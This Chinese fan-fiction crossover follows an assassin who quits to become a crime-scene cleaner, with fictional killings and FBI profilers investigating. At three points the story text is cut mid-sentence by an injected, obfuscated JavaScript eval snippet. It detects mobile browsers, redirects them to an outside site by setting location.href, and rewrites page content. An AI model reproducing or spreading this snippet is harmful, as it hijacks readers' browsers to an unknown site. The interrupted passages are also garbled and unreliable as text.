《[综英美] 清洁工大作战,但是Top杀手》 1. 约翰·曼尼 雨。 好大的雨。 沉重如铅块的雨滴砸在伞面上,四溅的水花在空中短暂地停留,然后飞快地在伞面上游走,侵蚀了那层单薄的防御用具之后,下一个攻击对象便是来宾身上昂贵、精致的服饰。 美貌且高挑的金发女郎不得不用手背掩盖自己肩膀上的那一绺秀美的卷发,她的身体紧紧贴着一个身材健壮的男人,然后在对方给她撑伞时抱怨一两句“该死的天气”。 男人什么也没听清,只是从这个女人身上闻到了愈发浓烈的金钱香气。 他笑了两下,搀着女郎朝餐厅里走去。 门童刚刚送走最后一位客人,折返时看见了大雨里灰蒙蒙的男人和金灿灿的女人,他立刻小跑了过去,给那个女伴撑起了另半边的伞,接着询问那位男客人:“二位晚上好,我们今天的营业时间已经结束了……” 女人停下了脚步,看向身边一脸不安的门童,脸上总算带了点笑容:“我还没见过像你这么英俊的门童呢。” 她的视线从对方还在滴水的下巴移向那双湿漉漉的湖蓝色眼睛,心情变好了一点。 “亲爱的,我们可不是去吃晚餐的。” 女人像打量商品一样打量着门童,直到走进餐厅之前,她还在看对方湿透的衬衫。门童始终低着头,不再多发一言。 餐厅里黑黢黢一片,连打扫卫生的人都没有,看来确实如门童所说,他们已经“打烊”了,还是那种没办法把刚穿上私服的主厨给叫回来的“打烊”。 面对这种情况,就算是谈生意的商人也该选择离开了,或者质疑一下约定的时间,再叫嚷一下让人来开个灯,但是这两位客人不同,他们像是天生的夜行动物一样,不受任何阻碍似的走到包厢的位置,然后打开了门。 依旧是漆黑无比的环境。 男人先迈开一步,尝试走进去。 “停下。” 女人伸出手拦住他,手腕一转,将男人藏于西服里的枪支拔了出来。 枪口对准了包厢里的某个角落,感受到对方陡然紧张起来的呼吸声,女人忍不住咧开嘴笑起来。 “蠢货,你的呼吸声太大了。” “砰!” 枪声紧随嘲笑声响起,但是没有贯入人体的声音。 归根结底,还是因为突然冒出来的这个人—— 像是某种安全信号一样,餐厅里的电灯陆续亮起,在光亮下,地板上的水滴折射出温润的光泽,其中影影绰绰夹杂着三个人的影子。 “客人。” 是那个门童。 “我们这里是禁止用枪的。” 门童的头发还在滴水,他形容狼狈,可出手的速度却一点也不慢,就在刚刚,他及时推移了枪口,使子弹偏离了原有的轨迹。子弹擦过另一名杀手的脸颊,嵌进了墙壁里。 “你这个——” 女人眼里“噌”一下燃起怒火,她当即便将枪口指向门童,看着后者举起双手投降,心里才畅快一点。 “已经晚了,我想杀的人,还没有死不成的。”她的声音充满了肯定,就好像她已经看到了眼前人身死的场景。 “咔嚓。” 手枪在她的面前解体了。 一滴混着雨水的冷汗从她的额头滑落,几乎是在那一瞬间,她意识到这是那个门童的手段,在不到两秒的时间里救下一个废物,还顺便给她的枪做了个“手术”,这不是一般的杀手能做到的。 女人扔下枪,想要通过别的方式来阻止这个门童杀掉自己。 可就在这时,包厢里那个杀手仍不死心,他见女人扔掉了武器,便志得意满地将枪拿出来,只是他的枪口还没对准女人,一个高大健壮的身影就挡在了他面前。 好快! 他是什么时候进来的。 杀手不得而知,但他相信自己的子弹,于是他扣动了扳机,温热的血液迸射而出,但那不是对面男人的血,而是他自己的。 “……” 狭长的伤口从左到右横贯开来,他的气管一同被切开,临死前什么声音也发不出来,只是徒劳地张开口,吐出一口血。 “等——”女人想要拦住手下,她担心激怒了那个门童,两人都会死在这里。 但是她伸出去的手只能徒劳地停在半空,她说晚了,回应她的只有尸体重重倒在地上的声音,而那颗子弹,打在男人的皮肤上如同打在钢板上,登时弹射到另一个方向,贯穿了包厢里的沙发。 女人收回手,反应过来这个门童刚才竟然没阻止她的手下干掉那个废物杀手,难道他们不是一伙的? 似乎是看出来女人在想什么,门童戴上了黑色皮质手套,语气和刚才并无不同:“我说过了,这里是禁止用枪的。” 女人不知道该说什么才好了,她看向手下,使了个眼色让对方站到她面前。 男人照做了。他腹部衬衫被子弹袭击过的地方破了个洞,露出里面非人一样钢化的皮肤。 门童看了一眼,瞬间明白了,说:“原来如此,你是变种人啊,你的能力就是把身体变成钢铁吗?” 这话不算礼貌,被他问话的人脾气也不算好,于是他在问完问题的下一秒就被攻击了。像刀刃一样的手掌攻向门童的侧颈,却在划开那层皮肤之前被拦下了。 一枚闪亮的硬币卡住了刀刃,被切开一半的豁口牢牢卡住危险的武器,随着两人的收手,硬币也被拔了下来,男人谨慎地后退。 这个人,确实给人一种危险的感觉。 门童满意地看着男人退下,然后听见女人说:“谈个价格吧,我知道像你这样的人佣金一定不低,可我有的是钱,只要一个数字,把刀尖朝向你的雇主,如何?” “一个数字啊……” 门童托起下巴思考起来,接着摊开手说:“我的酬劳是一千万美金。” 女人以为听懂了他的言下之意,立即喊道:“两千、不,三千万,我可以给你三千万,去杀了那个混蛋。” “嗤!” 门童捂着嘴笑了起来,他将眼角的眼泪擦了擦,说话的声音还透着掩饰不了的笑意。 “我想你是误会了什么,我报价不是为了索要更高的酬劳,毕竟,我好歹也是业界内最有信用的杀手,好评率100%哦。” 这个形容…… 女人想到了一个人,瞬间便感到胆寒。不,那样的家伙,怎么可能只用一千万就请动了,不……她开始后退。 “萨曼莎女士。” 门童叫住了他,湖蓝色的眼睛里满是戏谑的光芒。 “你可以猜一猜,我报价是为了什么。” “这、这个……” “我给个提示吧,雇我来的人非常痛恨你,希望我好好羞辱你一番,我想了又想,只能想到这个办法了——萨曼莎女士,你这些年来犯下走私军械、贩du、拐卖人口、谋杀等诸多罪行,赚的脏钱也是不少了,然而不管你赚多少钱,在雇主眼里,你的价值就只有一千万而已。” “现在,有感到被羞辱了吗?” 门童撩起额头上湿漉漉的头发,露出光洁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107006|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头,他看着萨曼莎脸上扭曲的表情,终于松了一口气,眼疾手快地拍了张照片。嗯,这项要求完成了,可以拿到小费。 “约翰·曼尼!” 萨曼莎尖锐的声音响起,她按下耳环上的一个按钮,接到信号的一群人立刻行动起来,全副武装地涌入餐厅,将几人包围起来。 萨曼莎拉着“盾牌”后退,撤离到包围圈外围的地方,她盯着那个传说中从无一次失手的杀手所在的地方,提起来的心怎么也放不下,她只好在心里拼命劝说自己,即使是有特殊能力的时候人来了,在那样的火力围攻下也会受到重伤,更何况那个约翰在传闻中只是一个普通人类。 “杀了他,给我杀了他!” 萨曼莎尖叫着下命令,眼里的疯狂逐渐被恐慌取代,她看到传说中的约翰消失在人群里,下一秒却出现在一个枪手的身后,一支钢笔立即刺穿了他的喉咙,血花绽放的刹那,枪落到了约翰的手里。 □□17型手枪,24发扩展型弹匣。 24发子弹,30名敌人。 足够了。 “砰!砰!砰!” 三发子弹,干掉三名持有手枪作战的人。 “砰!” 这一发子弹,精准命中斜后方的机关枪枪膛,炸膛的瞬间,约翰迅速俯身,躲过一颗子弹,然后连开两枪打中对面两人的膝盖,那两个家伙是大块头,他们一倒下,连带着压倒七八人。 趁着慌乱之际,约翰又甩出三枪,杀死了三个使用双枪的家伙,紧接着用膝盖滑行,穿过后面的包围圈,对准后方几人的心脏来了几枪,刹那间便多了几具尸体。 还有十四颗子弹。 约翰看到趴在地上的人从怀里摸出了什么武器,他敢打包票确定那是斯塔克的新型爆破式武器,设计轻便威力巨大,只有一个缺点—— 他抬手向烟雾报警器旁边开了一枪,感应到信号的报警器响起,消防喷淋头也开始洒水。 “该死!” 那个人咒骂一声,将淋湿了之后触动到保护装置的武器收回去,愤而拾起手枪对准约翰,手腕刚刚抬起,一颗子弹便擦过虎口正中他的眉心。 约翰移开枪口,给还没爬起来的几人一人一枪。 这一连串动作只用了不到两分钟,此时还站着的人连枪都举不稳,或者说,巨大的恐惧控制了他们,迫使其不敢将枪对准约翰。 约翰并不手软,干脆利落地解决了剩下的人,然后看向了没能成功跑出餐厅又折返回来的萨曼莎。 “这间餐厅最近才装了最新的安保装置,机器识别到枪声后会在数分钟内降下‘铁门’,像保护罩一样封闭整个餐厅,所以说,不要在这里用枪啊。” 约翰有些苦恼地丢下枪,那把枪的弹匣已经空了,他低头在尸体上看来看去,希望能找到下一件趁手的武器。 “这下连我也要费一番功夫才能出去了。” 约翰捡起一把匕首,掂量了一下重量之后直接扔了出去,正好刺穿那个钢人挡在脑门前的手掌。 “果然,如我所料,你的钢化能力只能做到部分覆盖,像这样覆盖了手掌和腹部以后,其他部位的皮肤就无法做到同样的钢化了,也就是说,你的弱点——” 一支钢笔刺穿了男人的颈动脉,在他未反应过来之前,这种致命伤就带走了他的性命。 “十分明显。” 约翰垂下手,手里的钢笔还在滴血,笔尖对准了萨曼莎。 “原话奉还,女士。我想杀的人,还没有能活下来的。” 2. 清洁工 约翰收回钢笔,血液喷溅而出的那一刻,萨曼莎只能徒劳地用手死死按住伤口,随即一脸茫然地倒下,从她的喉咙里传来像破旧的风琴发出的“嗬、嗬”声,最后连这声音也没有了,之后萨曼莎不甘地睁着眼睛,满怀绝望地死去。 约翰扔下还在滴血的钢笔,抬脚跨过这一地的尸体,打算去中控室破解餐厅的安保系统,而就在这时,“铁门”突然开始启动并缓缓升起。 外面的雨已然停了,数名身穿黄色防护服的清洁工正带着他们的清洁工具站在门口,为首的是一名拿着破解器的清洁工,显然,是他先搞定了那个安保系统。 等“铁门”完全升起之后,这些人立刻推开大门,陆续走进餐厅,除了拿着拖把、提着水桶的几人之外,还有扛着一大包裹尸袋的人,以及修补弹孔、掩盖武器痕迹的人…… 这其中,有一个人让约翰感到眼前一亮。 “萨波女士,你又换了头发颜色和发型哎。我都要认不出来你了。” 戴着口罩的老人抬眼看了约翰一眼,然后从同伴手里接过加了消毒剂的、盛满水的水桶,一声不吭地开始拖地,一缕粉色的卷发垂在她眼角的皱纹旁,比之约翰最初见到她时的白发要更适合她。 约翰没得到回应也不生气,只是目光专注地看着这些清洁工干活,他们不用考虑击杀目标的问题,也不用考虑卧底和潜伏的事情,更不用考虑通缉与追杀的后果,最重要的是,他们还配有最好的医疗保险,要知道,即使是约翰这样的超一流杀手,也只给提供“铜”等保险——他自己要承担40%的费用。 约翰把这种情况归咎于杀手任务的高危险性,联盟肯定是为了省钱,托这该死的制度的福,约翰刚开始工作时压根不敢受伤,也不敢淋雨生病。除了在最开始的杀手训练里可以享有免费医疗之外,一般杀手在联盟名下的医院就医必定花费包含保密费在内的一大笔钱,为此,有好几年他都没钱看医生。 毕竟,联盟提供的武器也要杀手花钱购买。 约翰一直认为,与其说这是个杀手联盟,不如说这是个剥削机构。 再者,如果人有了退路,怎么会愿意一直干这种刀尖舔血的工作呢?啊,他那几个变态同事除外,那些人是天生的坏种,不杀人就会犯病,那样的人放到社会上肯定会变成极恶徒,所以还是给联盟当工具去杀其他恶人吧。 约翰后退几步,险之又险地躲过萨波女士拖地时甩过来的血水,抱怨道:“萨波女士,为什么你总是会把血水甩到我这边呢?” 萨波女士没回答他,她的同事,一个身材矮小的老头倒是说话了。 “谁让你总是留下来看我们干活呢?真是怪人一个,这么多年了,只有你喜欢杀了人之后留下来看别人‘清扫’的,不过,你这也不算最怪的怪癖就是了。” 老头嘟囔着,动作利落地将尸体打包装袋,接着手臂上的青筋鼓起,发力将三具打包好的尸体扛起来,像扛麻袋一样扛了出去。 随着那最后的三具尸体被扛走,这次的清洁工作也接近了尾声,贴好墙纸的清洁工收好工具,朝补完沙发的清洁工招了招手,这是准备收工了。 约翰见他们要走,也不打算再留在这里。他伸手抹了一把脸颊旁边未干的雨水,顺便蹭了自己一脸血。 不过他没有在意这些细节,只是脱下手套,将垃圾扔到他们装着回收武器的桶里。 快走出餐厅时,一个大个子清洁工对着约翰用手指了指自己的脸。 约翰会意,打算用袖子擦一擦,但是袖子上也有血,于是脸上的血是怎么也没擦干净。大个子盯着约翰看了一会儿,在约翰不打算再擦脸时用自己的袖子在对方脸上胡乱抹了一通。 “呃,谢了。” 约翰拍了拍大个子的手臂,问他:“我之前没见过你啊,是刚毕业还是换队伍了?” 大个子也不爱说话,可能是萨波女士的亲戚吧,总之,他只是对着约翰点了点头,似乎除了“新人”以外便没有适合他的身份了。 也是因为这一出,约翰才意识到自己差点穿着这身制服就离开了,于是他紧急跑到更衣室换了衣服,背着装有染血制服的双肩包跑出餐厅。 他看见那些人正在将一桶一桶的血水倒在下水道里。 不需要撬棍,那个和约翰搭话的老人徒手就能抬起井盖。 约翰看着老人盖回井盖,又跟着他们走到停车场,目送这一队人坐上SUV离开这里,而他只能穿过停车场,走到马路对面,再坐公共汽车到附近的地铁站,没办法,谁让他这次的身份是普通的“门童”呢。 而直到他走到了公交站台旁边,他才反应过来,“啊,刚才应该搭个顺风车的。” 约翰在身上找了又找,又翻了一遍书包,也只找到零零散散的两百美元,还有两个二十五美分的硬币。 他为了完成杀手任务也做过不少“副业”和“兼职”,他清楚地意识到,自己在杀人以外没有其他优秀的才能,也没有办法去适应这种普通生活。 手染过鲜血之后,怎么可能再回到安稳的平凡时光呢? 所以,如果要退役,他最好先找一份过渡的工作,一份他一直感兴趣并且不会让他无聊的工作——清洁工。 如果让联盟的那几个家伙知道他退役了也要工作,一定会嘲笑他吧,唉,可他就是那种闲不下来的人,不然也不会有那种恐怖的任务完成量了。 平心而论,他并不是什么工作狂,也不是有多热爱这份压榨人的职业,他只是,一直以来都有种感觉—— 脚步不能停下来。 一直跑,要一直向前跑。 不能停下来。 约翰按着太阳穴,低声咒骂了一句,不想在这里耗时间的他选择伸手拦下一辆出租车,坐上车后随口报了个酒店的名字。 司机透过后视镜打量了一下约翰,约翰不为所动。 直到司机第三次暗戳戳地抬眼观察后座上低着头昏昏欲睡的他时,约翰才出声质问司机:“为什么不好好清洗一下车辆呢?总是有股血的味道。” “嗤——” 车速陡然提升,或许在其他车辆里的司机看来这只是汽车打滑后的正常速度,但是对于约翰这个直到刚才都还稳稳地坐在后方的人来说就很明显了。 司机直接抬头朝后视镜看去,约翰仍是刚才那副姿态,低着头,抱着背包,安静地坐在后面。 那是幻听吗? 不、不可能。 司机压下那一丝怀疑,他认为事情还未脱离掌控,只要启动那个,这个普通人就会立刻被困死他的陷阱之中。 他将一只手伸向那个隐秘的按钮,催眠气体如他所想,顺利地通过管道排放到了被完全封闭的后车座空间里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107007|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这辆出租车是经他改造过的,不管后面的乘客如何挣扎、捶打,都无法击破那层防弹玻璃,而随着时间推移,乘客们会逐渐丧失意识,直至安睡在后面的座位上。 等猎物毫无反抗之力,他就可以尽情地满足自己的杀戮欲望。 司机想象着刀尖切开猎物皮肤的美妙触感,忍不住再次提升了车速,他已经急不可耐了。他透过后视镜看向那个低头沉睡的青年,嘴角快咧到耳朵根上,这种没有伤口的“品相”才好,以往的乘客少有直接沉睡的,总是在挣扎时弄出一身血来,实在不美。 两小时后,出租车在偏僻的废弃工厂旁边停下了,司机打开所有车窗,等气体消散后再拉开后车车门,上半身钻进去将青年半拖半拽给拉了出来。 成年人的重量对他来说是个不小的负担,起码他那做过手术的脊椎是这么叫苦的,但是少有的年轻猎物还是让他的血液沸腾了起来,他的瞳孔放大,呼吸急促,手臂也充满了力量,甚至是比以往都要有力量。 他将青年拖下车,从工厂里找来血迹斑斑的手推车,费了一番功夫才把人放到车上,他扶着车把手喘了几大口气,视线落到地上的双肩包上。 “对了,里面说不定会有可以拿来纪念的东西……” 他蹲下去拾包,只从里面翻到了湿透的门童制服和两百美元。 “X的,竟然没带其他东西。” 司机对着轮胎啐了一口,将钱塞进了外套口袋里,没再管那个包。 不过,或许还有手表之类的贴身物品…… 司机转过身去看那个新鲜猎物,却只看到了空无一物的手推车。 “!” 他将枪掏出来,不熟悉黑暗的眼睛始终没有将视线移开车灯照射的范围里。在确定那个青年不在周围后,他立刻钻到驾驶座上,准备离开这个地方。他怀疑自己是中了陷阱,一心以为这里马上就会被警察包围,从而忽略了种种不妥之处。 “虽然我能睡个好觉是不错啦,但是睡醒之后竟然到了这么陌生的地方,多少还是有点吓人的,对吧?” 约翰坐在副驾驶座上,偏头看向司机。 “这可不行,系上安全带的话,逃跑就会多花两秒钟时间,而在这两秒钟的时间里,足够我杀你十几次了。” 约翰没有阻拦司机解开安全带的动作,只等安全带松开的一瞬间,他迅速出手揪住安全带在司机的脖子上绕了一圈,然后用力朝下一拽。 被勒到快要窒息的司机终于想起来他还有把枪,他将武器掏出来,不管不顾地对着副驾驶座的方向连开了几枪,但是无法呼吸的状况并没有改善。 对方是没中弹吗? 约翰没有回答他心中所想,唯一一颗射向他的子弹与他弹出的硬币相碰撞,瞬时便改变了弹道,跑到了天窗的位置上。 尿骚味传来的那一刻,约翰松开了手,还好他提前把对方的手机和那两百美元给拿了过来。 手机密码很简单,随便猜一组就猜出来了,约翰打开拍照功能,给尸体拍了张照片,然后将手机关机,扔到车窗外面去。 从尸体泛黄的指尖和牙齿可以看出这人是个烟鬼,车里也应当备有打火机这种物品。 约翰在手套箱里翻找一通,顺利找到了打火机。 “嚓。” 小小的一撮火苗,也能发挥它的作用。 3. BAU “嗨!摩根探员,看看这个。” 一名鉴识科的警员给草地上的手机拍了张照片,然后立刻朝来自BAU的摩根挥手,如果这里面有重要讯息,那自然是让那些来帮助的探员们知道一下比较好。 摩根得到消息,小跑了过去,手机的位置离烧毁的出租车并不远,从方向来看,很有可能是是被人从车窗里扔出来的。 摩根判断完这些情况,得出了一个最初的结论:这部手机是坐在驾驶座位上的被害人扔出的。 或许里面留下了指向凶手的重要遗言。 摩根一脸凝重地拿起防水袋,尝试给手机开机,当屏幕亮起的那一刻,连他旁边的警员都不自觉放慢了呼吸。 没有密码。 只这一点就让摩根感到不对劲了。 如果驾驶座上的被害人是他们以为的“出租车杀手”的猎物的话,那年龄一般不会超过五十岁,以平均年龄二十六岁来评估的话,手机一般会设置密码。 要么,这名被害人确实没有这样的习惯,要么,这名被害人的身份便不是他们想象中的那样。 摩根打开手机的邮箱和相册,前者自然是没发现什么异常,唯独在后者里,他看到了让他脸色一变的照片。 摩根看了看照片,又看了看那辆被烧毁的出租车。 一个可怕的猜想在他的脑海中浮现。 “JJ。” 他对着正在打电话询问送过去的牙齿模型能否加急鉴定的同事喊了一声,对方放下手机,眼带疑惑地看向他。 摩根举起手里的防水袋,说:“我可能知道我们这位被害人的身份了。” ——BAU临时办公室内—— 一众探员正坐着或站着,眼睛死死盯着投影仪放出的那张照片——一名低着头、眼球凸出的男性尸体,从位置上来看,他正坐在驾驶座上,而安全带则不知怎么绕了他的脖子挂了一圈。 经验丰富的几人不约而同想象到了那个场景,某人当时也坐在车内,并且用安全带把人给活生生勒死了。 罗西打量了一圈周围人的脸色,首先开口道:“所以,你们的观点是——” 被他最先盯着看的瑞德应了声,又停顿片刻,接着才找回自己的声音。 “从这张照片来看,他的死亡原因非常接近现场那具尸体了,法医报告里特别指出了死者舌骨骨折、呼吸道内部没有烟灰和炭末沉积、肺部也无水肿和组织充血……所以,基本上可以判断这二人是同一人。” “加西亚也处理过照片,窗外的景色也和现场一致。” 摩根接了一句话,这两人都肯定这位被害人就是他们近两周以来一直都在追查的“出租车杀手”,杰宾·布鲁克。 艾米莉扶着额头,她已经好几天都没有休息好了,就是为了这个该死的连环杀人犯,结果就在他们刚找到线索、刚发出通缉令之后,这个犯人就莫名其妙被杀了。 “呃,大家,我都不知道该说这是好消息还是坏消息了。” JJ拿着刚挂断的手机走进来,对着众人说:“牙医那边确定了这名被害人的身份,他无疑就是我们的通缉犯‘杰宾·布鲁克’。” 办公室里好一会儿都没有人说话。 瑞德抬头看了一下他们的组长霍奇,又看了一下坐在身边的摩根,犹豫地开口:“所以……我们的任务算完成了吗?” 霍奇目光深沉,让人看不透他在想什么。 而关于这个问题,JJ回答了瑞德:“我正是还要转告这一点的——警长说剩下的交给他们处理就可以了,因为我们此行要抓捕的凶手已经被人谋杀了。” “好吧。” 罗西身体向后倒,让背舒服地靠在椅背上。 “看来警长并不想得知那名神秘凶手的身份,不过也是,在他们看来,这或许是‘为民除害’了。”他说完,又耸耸肩拦住了霍奇的发言,他知道那肯定是关于“程序正义”和“个人正义”的,在这个超级英雄倍出的时代,哈,这绝对是个热门话题。 但这也是个不能由他们去深入探讨的话题,他可不想今天才和霍奇讨论完这个话题,明天就成为了“忘恩负义”的反对超级英雄的人,特别是他们的身份还是话题中心之一的“执法人员”。 罗西不想再说下去,霍奇也没办法。 霍奇用他那一贯如此的严肃目光紧紧盯着照片看了一会儿,突然,他想到了什么,松开了一直交叉着抱在胸前的手臂,说出了自己的推测。 “这不是一张挑衅的照片。” “什么?”其他人看向他,目露不解,似乎是在不解他怎么突然说起了这件事。 “这张照片,只是为了给我们看的而已,不,只是为了给发现尸体的人看的。我们的神秘凶手是为了让发现尸体的人知道他放火烧毁命案现场之前尸体的状态,或者说,是尸体的模样……” “就好像他或她是故意留下了这一张照片,好让别人知道那具尸体原先的模样一样。”罗西喃喃道。 艾米莉反应过来了,她以往的经历使她更容易想到某些与之契合的推论:“这听起来像是佣兵所为,不,是职业杀手。” 见其他人的目光都移向了自己,艾米莉知道她的推论也引起了其他人的兴趣,于是她继续说:“为了证明自己实现了雇主的要求,职业杀手通常都会留下某样‘战利品’好使雇主确定他的委托已被完成,不过那是以前的做法了,现在因为搜查技术提升,那种血淋淋的战利品不再好运送,所以除了雇主特别要求以外,杀手们一般会采用摄像或拍照等手段留证。” “所以你的意思是,这是有人委托了职业杀手去处理掉这个连环杀人犯吗?” 摩根按着眉心,他似乎被说服了,也提出了几个值得怀疑的人选。 “我们之前调查过‘出租车杀手’的被害人家属,会不会是他们之中有人为了报仇而委托了职业杀手?” “不。这说不通。” 霍奇和罗西的声音同时响起,两人对视一眼,确定了对方看出了其中的破绽—— “你们想想看,如果真的是某个家属为了复仇而委托了职业杀手的话,为什么照片会出现在布鲁克的手机里?换句话说,如果对方要向委托人证明他已经按要求杀害了布鲁克的话,为什么不把照片发给委托人,而是堂而皇之地暴露在众人视线里?” 罗西一口气说了几个疑问句,他喝了口咖啡,又叹了口气,说:“事情或许没有我们想象中的那么复杂。” 霍奇赞同般点点头,说:“没错。如果委托人不想暴露身份,那杀手就完全没有必要用布鲁克的手机拍摄照片,这种信息是完全可以隐瞒下来的,如果没有照片,我们甚至不会想到职业杀手的问题。” 随着霍奇和罗西的判断说完,其他人也接连发表了自己的意见,总结下来就是一点:这不是某人委托的杀死布鲁克的任务。 “呃,伙计们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107008|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们知道我还在线上的,对吧?” 加西亚的声音突然从电脑的另一端传来。 她直到刚才为止都在搜集那部手机里的任何信息,很快,她就找到了可以支持他们理论的证据。 “babygirl,你查到了什么?”摩根放下手里的杯子,身体凑近了电脑屏幕。 “是密码。显然,虽然他是个变态杀人犯,但他也热衷于保护自己的隐私,他给自己的手机设置了开屏密码,猜猜密码是什么?提示,有四个数字。” “1986?” “不是。” “1959?” “不是。” “1950?” “答对了,天才。” 艾米莉就像第一次认识瑞德那样,张着嘴惊讶地看向他。 “你是怎么知道的?” 瑞德抬起手又放下,说:“是爵士乐,布鲁克喜欢经典爵士乐,这些数字是它们中的一些曲目的发行时间。” “好吧,你知道是因为你提前了解过布鲁克,可我们的这位神秘凶手是如何得知布鲁克喜欢爵士乐的?而且对方还像你一样聪明,立刻就猜到了密码是什么。” “冷读术,与我们的侧写很像。”罗西仰着头说了一句。 几人你看我、我看你,最后他们都指出来一个可能:“神秘凶手是乘客。” 这样就又回到了起点,毕竟,警方之后在工厂里找到了布鲁克的犯罪证据,因此,他们一开始就推断布鲁克死前见过的最后一人就是他的乘客,也是他即将要谋害的对象。 “布鲁克一定是播放过爵士乐,而那个神秘凶手则是利用这一点解决了密码的问题。” “咚、咚。” 敲门声响起,所有人的思绪立时便被打断了。 他们齐刷刷地看向敲门的警长,后者也不多做解释,只说:“我还以为你们正在准备回匡提科。” JJ撇过头。 警长说完,看向那张投影出来的照片,轻笑一声。 “真是活该。” “伍德警长——” 霍奇的声音被打断了。 伍德警长不耐烦地说:“先生,我们可不管额外的事情,对方帮我们解决了一个大麻烦。要知道,在你们来之前,我们可是每天都要被媒体和电话轰炸,说真的,再不解决了这个杀人犯,我们就要被‘解决’了。” 他盯着布鲁克死亡时的照片看了好一会儿,脸上写满了快意——他的一个属下也被对方谋杀了。 他当然知道这样不对,可是出租车杀手真的会被判死刑吗?如果对方以精神错乱为由进行辩护的话……这些探员只负责找出凶手,可后续的起诉却要由他们协助地检官完成,从业数十年,他已经见过太多的连环杀人犯被关在精神病牢房里,经常给粉丝写回信,有时间再写本自传。 伍德离开了,他的话却在众人心里留下了一道疑问。 不再选择逗留的BAU一组人打算带着行李离开了,临出发前,约翰与他们擦肩而过。 约翰接着电话,自他和联盟会长提过辞职以后,对方就时不时给他打个电话,内容大同小异,基本都是在劝他不要离开。 这次在他挂断电话前,会长追问他辞职之后要去做什么。 “嗯,我想想,先去上学吧。” 上学吗? 真是积极向上的青年啊。 BAU的人想。 4. 第一次的工作 一年后,当约翰完成了最后的考核,以满分的成绩通过了爱诗老师的考试之后,他拿到了“最好的”offer,并成功接过了优秀毕业生代表的荣誉绳。 今天,是约翰自清洁工夜校毕业后的第一次工作,按照公司的要求,他换上了黄色的制服,和一名“前辈”一起来到了哥谭的某个案发现场。 “第一天上班就接到□□的工作单,你还真是‘不幸’。” 那个作为指引人的中年男性清洁工在说这话时,语气带着一股无奈,虽然从复杂一点的工作入手可以积累经验是不错啦,但他可是已经有好几天都在加班工作了,现在还要带个新人,实在是没什么力气去考虑多余的事情了。 那种“不幸”,其实是对他自己来说的。 “这样也没什么不好的吧?我听说在哥谭这边,这种工作反而很常见。早点习惯的话,我就可以尽快转成正式工了。” 约翰满不在乎地把换下来的衣物扔进个人储物柜里,柜门内侧安装了镜子,他转过身看了一下后背,确定衣服没穿反之后才把拉链拉上。 已经穿戴完毕的肖特·凯提着工具箱站在更衣室门口看着约翰整理着装,突然就想到了那个传闻。 “嘿,新人,听说你们这一届毕业生里有个不得了的家伙,是什么‘职业杀手’转行了,你认识他吗?” 约翰坐在凳子上系鞋带,头也不抬地回答他:“竟然还有这样的传闻吗?我是没听过,不过那样的人应该会很低调吧,可能还会故意考得差一点,好被分配到工作轻松一点的城市去。” “哈,那是肯定的,都转行到这里了,还像以前一样拼命工作的不是傻瓜吗?” 约翰低着头,笑而不语。 他提着自己的工具箱,跟在肖特身后走向停车场。 直到肖特打开工作地点的大门之前,他都还以为这只是一次普通程度的工作,约翰自认为自己解决过不少□□,可没有哪次是像这里“一地狼藉”的。 肖特发出痛苦的叹息,认命般戴上手套和口罩,从箱子里找出裹尸袋后开始捡尸块。约翰紧随其后,张开袋子,从地上捡起一条胳膊和半条腿朝里扔。 等两人捡完尸体,约翰扶着腰站起来,询问同样苦不堪言的肖特:“话说回来,为什么这样的工作单只有我们两个人在做。” 以前不是在出差就是在出差的前顶尖杀手很是不解,经常和他合作的清洁工少说也有十来人,小场面以五到六人为一组来接他的工作单,大场面便增加至十到二十人为一组了,只有个别时候,他只解决了目标一人时才仅仅见到他们其中的一到两人,而这种程度的现场…… 肖特抬起头,眼睛里闪着怜悯的点点光芒,他对着约翰摇摇头,半晌才说出其他话。 “唉,你真傻,真的,毕业前也不打听打听被分到的城市是不是一个好单位。唉,你一定是读书读得太好以至于把脑子给读坏掉了,自从十年前的一个优秀毕业生折在哥谭之后,就再没有好学生愿意来这边了。” “这里工作单多、人手少,在这里的任何一名清洁工走出去都能顶别的清洁工一个团队了。” 约翰涮着拖把,若有所思。 他谨慎又小心地拖着地上的血迹,努力不让血水飞到同伴脸上。 拖了一会儿地,约翰用手撑着拖把,像开玩笑一样问肖特:“那你呢?你想过离开这里,到外面和团队合作吗?” 肖特干活的手不停,他白了约翰一眼,声音充满倦怠之感。 “我可是哥谭人。” 约翰想露出温良的笑容,但对方只能看到他稍弯的眼睛,不知怎么,他又想起了那个传闻。 “喂,约翰,穿西装工作是不是好多了?” 